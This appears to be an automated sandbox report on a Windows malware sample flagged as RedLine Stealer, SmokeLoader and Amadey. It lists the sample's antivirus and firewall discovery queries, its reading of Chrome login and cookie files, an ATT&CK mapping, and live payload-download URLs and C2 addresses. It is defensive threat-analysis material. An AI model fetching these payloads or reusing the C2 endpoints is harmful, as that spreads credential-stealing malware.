Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Source: ABA5.exe, 00000014.00000002.473910018.0000000007B3F000.00000004.00000001.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 20.2.ABA5.exe.4110ee8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.3.ABA5.exe.257f440.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.ABA5.exe.4110ee8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.CA5D.exe.900000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.ABA5.exe.44f0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.3.ABA5.exe.257f440.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.ABA5.exe.4180f6e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.ABA5.exe.4180086.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.ABA5.exe.4110000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.ABA5.exe.4180f6e.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.ABA5.exe.4180086.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.ABA5.exe.4110000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.ABA5.exe.44f0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.465939919.0000000005535000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.459761733.0000000004110000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.459901259.0000000004140000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.361152185.000000000257F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.461033255.00000000044F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ABA5.exe PID: 2832, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 00000000.00000002.294298389.0000000004010000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.294341897.0000000004031000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.355046848.0000000002530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.355346540.00000000025B1000.00000004.00000001.sdmp, type: MEMORY

Yara detected Amadey bot

Show sources

Source: Yara match	File source: 00000021.00000002.513668865.0000000002720000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.533972719.0000000005A30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rnyuf.exe PID: 2016, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 20.2.ABA5.exe.4110ee8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.3.ABA5.exe.257f440.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.ABA5.exe.4110ee8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.CA5D.exe.900000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.ABA5.exe.44f0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.3.ABA5.exe.257f440.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.ABA5.exe.4180f6e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.ABA5.exe.4180086.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.ABA5.exe.4110000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.ABA5.exe.4180f6e.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.ABA5.exe.4180086.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.ABA5.exe.4110000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.ABA5.exe.44f0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.465939919.0000000005535000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.459761733.0000000004110000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.459901259.0000000004140000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.361152185.000000000257F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.461033255.00000000044F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ABA5.exe PID: 2832, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 00000000.00000002.294298389.0000000004010000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.294341897.0000000004031000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.355046848.0000000002530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.355346540.00000000025B1000.00000004.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation221	DLL Side-Loading1	Exploitation for Privilege Escalation1	Disable or Modify Tools1	OS Credential Dumping1	System Time Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Scheduled Task/Job1	DLL Side-Loading1	Deobfuscate/Decode Files or Information11	Input Capture1	Account Discovery1	Remote Desktop Protocol	Data from Local System1	Exfiltration Over Bluetooth	Encrypted Channel12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution1	Registry Run Keys / Startup Folder1	Process Injection412	Obfuscated Files or Information3	Security Account Manager	File and Directory Discovery2	SMB/Windows Admin Shares	Input Capture1	Automated Exfiltration	Non-Standard Port11	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Command and Scripting Interpreter2	Logon Script (Mac)	Scheduled Task/Job1	Software Packing22	NTDS	System Information Discovery147	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol3	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Scheduled Task/Job1	Network Logon Script	Registry Run Keys / Startup Folder1	Timestomp1	LSA Secrets	Security Software Discovery1091	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol24	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	DLL Side-Loading1	Cached Domain Credentials	Virtualization/Sandbox Evasion651	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	File Deletion1	DCSync	Process Discovery13	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading11	Proc Filesystem	Application Window Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Modify Registry1	/etc/passwd and /etc/shadow	System Owner/User Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Virtualization/Sandbox Evasion651	Network Sniffing	Remote System Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Process Injection412	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Hidden Files and Directories1	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
b7cwlpwH6S.exe	37%	Virustotal		Browse
b7cwlpwH6S.exe	59%	ReversingLabs	Win32.Trojan.Fragtor
b7cwlpwH6S.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\ABA5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\trgavvb	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\mrmoms[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\mrmoms\mrmoms.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\trgavvb	59%	ReversingLabs	Win32.Trojan.Fragtor

Unpacked PE Files

Source	Detection	Scanner	Label	Download
17.3.trgavvb.2530000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
17.2.trgavvb.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.b7cwlpwH6S.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.3.b7cwlpwH6S.exe.2630000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
33.2.rnyuf.exe.2520e50.1.unpack	100%	Avira	HEUR/AGEN.1131354	Download File
39.2.rnyuf.exe.3fe0e50.1.unpack	100%	Avira	HEUR/AGEN.1131354	Download File
32.2.EFC9.exe.2630e50.1.unpack	100%	Avira	HEUR/AGEN.1131354	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://193.38.55.57:75754	0%	Virustotal		Browse
http://193.38.55.57:75754	0%	Avira URL Cloud	safe
http://service.r	0%	URL Reputation	safe
http://trustmanager.ug/k8FppT/index.php$2	0%	Avira URL Cloud	safe
http://45.138.172.28/blog/images/sefile2.exe	6%	Virustotal		Browse
http://45.138.172.28/blog/images/sefile2.exe	100%	Avira URL Cloud	malware
http://trustmanager.ug/k8FppT/index.phpn	0%	Avira URL Cloud	safe
http://193.38.55.57:7575/	0%	Avira URL Cloud	safe
https://api.ip.sb/geoip	0%	URL Reputation	safe
http://tempuri.org/	0%	Avira URL Cloud	safe
http://tempuri.org/t_nmXRX	0%	Avira URL Cloud	safe
http://185.215.113.206/k8FppT/index.php?scr=1e=	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironment	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironmentResponse	0%	Avira URL Cloud	safe
http://45.138.172.28/blog/images/kl6.exe	0%	Avira URL Cloud	safe
http://trustmanager.ug/k8FppT/index.php?scr=1	0%	Avira URL Cloud	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://tempuri.org/Endpoint/GetUpdates	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://185.215.113.206/k8FppT/index.php	0%	Avira URL Cloud	safe
http://www.interoperabilitybridges.com/wmp-extension-for-chrome	0%	URL Reputation	safe
http://185.215.113.206/k8FppT/index.php?scr=1t9	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://tempuri.org/Endpoint/VerifyUpdate	0%	Avira URL Cloud	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://support.a	0%	URL Reputation	safe
http://185.215.113.206/k8FppT/index.phpR	0%	Avira URL Cloud	safe
http://www.interoperabilitybridges.com/wmp-extension-for-chromere	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnectResponse	0%	Avira URL Cloud	safe
http://schemas.datacontract.org/2004/07/	0%	URL Reputation	safe
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://trustmanager.ug/k8FppT/index.php?scr=1k	0%	Avira URL Cloud	safe
http://trustmanager.ug/k8FppT/index.php?scr=1o	0%	Avira URL Cloud	safe
http://forms.rea	0%	URL Reputation	safe
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	0%	Avira URL Cloud	safe
http://trustmanager.ug/k8FppT/index.php?scr=12)	0%	Avira URL Cloud	safe
http://185.215.113.206/k8FppT/index.php?scr=1	0%	Avira URL Cloud	safe
http://trustmanager.ug/k8FppT/index.php?scr=1d	0%	Avira URL Cloud	safe
http://185.215.113.206-k	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://tempuri.org/Endpoint/EnvironmentSettings	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://tempuri.org/Endpoint/VerifyUpdateResponse	0%	Avira URL Cloud	safe
http://go.micros	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://185.215.113.206/k8FppT/index.phpp	0%	Avira URL Cloud	safe
http://fontfabrik.com	0%	URL Reputation	safe
https://api.ipify.orgcookies//settinString.Removeg	0%	URL Reputation	safe
http://185.215.113.206/k8FppT/index.phpf	0%	Avira URL Cloud	safe
https://sectigo.com/CPS0D	0%	URL Reputation	safe
http://tempuri.org/0	0%	Avira URL Cloud	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://trustmanager.ug/k8FppT/index.phpnnection	0%	Avira URL Cloud	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://trustmanager.ug/k8FppT/index.php/	0%	Avira URL Cloud	safe
https://api.ip.sb4	0%	URL Reputation	safe
https://helpx.ad	0%	URL Reputation	safe
http://45.138.172.28/blog/images/sefile.exe	100%	Avira URL Cloud	malware
http://tempuri.org/Endpoint/CheckConnect	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
atvcampingtrips.com	148.101.76.245	true	false	high
cdn.discordapp.com	162.159.130.233	true	false	high
thegymmum.com	unknown	unknown	false	high
trustmanager.ug	unknown	unknown	false	high
api.ip.sb	unknown	unknown	false	high
aucmoney.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://45.138.172.28/blog/images/sefile2.exe	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://193.38.55.57:7575/	false	Avira URL Cloud: safe	unknown
http://45.138.172.28/blog/images/kl6.exe	true	Avira URL Cloud: safe	unknown
http://185.215.113.206/k8FppT/index.php	true	Avira URL Cloud: safe	unknown
http://185.215.113.206/k8FppT/index.php?scr=1	true	Avira URL Cloud: safe	unknown
http://45.138.172.28/blog/images/sefile.exe	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.38.55.57:75754	ABA5.exe, 00000014.00000002.462509363.0000000004759000.00000004.00000001.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	false		high
http://service.r	ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://trustmanager.ug/k8FppT/index.php$2	rnyuf.exe, 00000021.00000002.533972719.0000000005A30000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	false		high
http://trustmanager.ug/k8FppT/index.phpn	rnyuf.exe, 00000021.00000002.533972719.0000000005A30000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ip.sb/geoip	ABA5.exe, 00000014.00000002.461322183.000000000457D000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/D	ABA5.exe, 00000014.00000002.461322183.000000000457D000.00000004.00000001.sdmp	false		high
http://tempuri.org/	ABA5.exe, 00000014.00000002.462509363.0000000004759000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/t_nmXRX	ABA5.exe, 00000014.00000002.461322183.000000000457D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers	explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	false		high
http://185.215.113.206/k8FppT/index.php?scr=1e=	rnyuf.exe, 00000021.00000002.533972719.0000000005A30000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnvironment	ABA5.exe, 00000014.00000002.462038067.00000000046CD000.00000004.00000001.sdmp, ABA5.exe, 00000014.00000002.462509363.0000000004759000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnvironmentResponse	ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://trustmanager.ug/k8FppT/index.php?scr=1	rnyuf.exe, 00000021.00000002.513668865.0000000002720000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sajatypeworks.com	explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/GetUpdates	ABA5.exe, 00000014.00000002.462509363.0000000004759000.00000004.00000001.sdmp, ABA5.exe, 00000014.00000002.461347957.00000000045A8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://support.google.com/chrome/?p=plugin_real	ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cThe	explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.interoperabilitybridges.com/wmp-extension-for-chrome	ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/k8FppT/index.php?scr=1t9	rnyuf.exe, 00000021.00000002.514778374.0000000002798000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://cdn.discordapp.com/attachments/878382243242983437/878684457245220884/mrmoms.exeI:	rnyuf.exe, 00000021.00000002.513668865.0000000002720000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_pdf	ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	false		high
http://www.galapagosdesign.com/DPlease	explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdate	ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.urwpp.deDPlease	explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	false		high
http://forms.real.com/real/realone/download.html?type=rpsp_us	ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	false		high
http://support.a	ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/k8FppT/index.phpR	rnyuf.exe, 00000021.00000002.536852485.0000000005A53000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000004.00000000.265470727.0000000006870000.00000004.00000001.sdmp	false		high
http://www.interoperabilitybridges.com/wmp-extension-for-chromere	ABA5.exe, 00000014.00000002.461408772.00000000045C1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe	ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_quicktime	ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	false		high
http://tempuri.org/Endpoint/CheckConnectResponse	ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.datacontract.org/2004/07/	ABA5.exe, 00000014.00000002.462038067.00000000046CD000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	ABA5.exe, 00000014.00000002.465939919.0000000005535000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	false		high
http://www.carterandcone.coml	explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	false		high
http://trustmanager.ug/k8FppT/index.php?scr=1k	rnyuf.exe, 00000021.00000003.498140288.0000000005A5E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://support.google.com/chrome/?p=plugin_shockwave	ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	false		high
http://trustmanager.ug/k8FppT/index.php?scr=1o	rnyuf.exe, 00000021.00000002.533972719.0000000005A30000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://forms.rea	ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://cdn.discordapp.com/attachments/878382243242983437/878684457245220884/mrmoms.exe	rnyuf.exe, 00000021.00000002.513668865.0000000002720000.00000004.00000001.sdmp	false		high
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://trustmanager.ug/k8FppT/index.php?scr=12)	rnyuf.exe, 00000021.00000002.513668865.0000000002720000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://cdn.discordapp.com/attachments/878382243242983437/878684457245220884/mrmoms.exeQNELfvL	rnyuf.exe, 00000021.00000002.513668865.0000000002720000.00000004.00000001.sdmp	false		high
http://trustmanager.ug/k8FppT/index.php?scr=1d	rnyuf.exe, 00000021.00000003.498140288.0000000005A5E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designersG	explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	false		high
http://185.215.113.206-k	rnyuf.exe, 00000021.00000002.514462224.000000000276F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://www.founder.com.cn/cn/bThe	explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_wmp	ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	false		high
http://ocsp.sectigo.com0	rnyuf.exe, 00000021.00000002.533474032.0000000004F3E000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	false		high
https://support.google.com/chrome/answer/6258784	ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	false		high
http://tempuri.org/Endpoint/EnvironmentSettings	ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	ABA5.exe, 00000014.00000002.462509363.0000000004759000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_flash	ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	false		high
http://www.tiro.com	explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
https://cdn.discordapp.com/	rnyuf.exe, 00000021.00000002.514567965.000000000277D000.00000004.00000001.sdmp	false		high
http://www.goodfont.co.kr	explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_java	ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	false		high
http://tempuri.org/Endpoint/VerifyUpdateResponse	ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://go.micros	ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/k8FppT/index.phpp	rnyuf.exe, 00000021.00000002.536852485.0000000005A53000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://fontfabrik.com	explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
https://api.ipify.orgcookies//settinString.Removeg	ABA5.exe, 00000014.00000002.465939919.0000000005535000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/fault	ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	false		high
http://cdn.discordapp.com/attachments/878382243242983437/878684457245220884/mrmoms.exeQNELn)M	rnyuf.exe, 00000021.00000002.513668865.0000000002720000.00000004.00000001.sdmp	false		high
http://185.215.113.206/k8FppT/index.phpf	rnyuf.exe, 00000021.00000002.536852485.0000000005A53000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0D	rnyuf.exe, 00000021.00000002.533474032.0000000004F3E000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_divx	ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	false		high
http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl	ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	false		high
http://tempuri.org/0	ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fonts.com	explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	false		high
http://www.sandoll.co.kr	explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
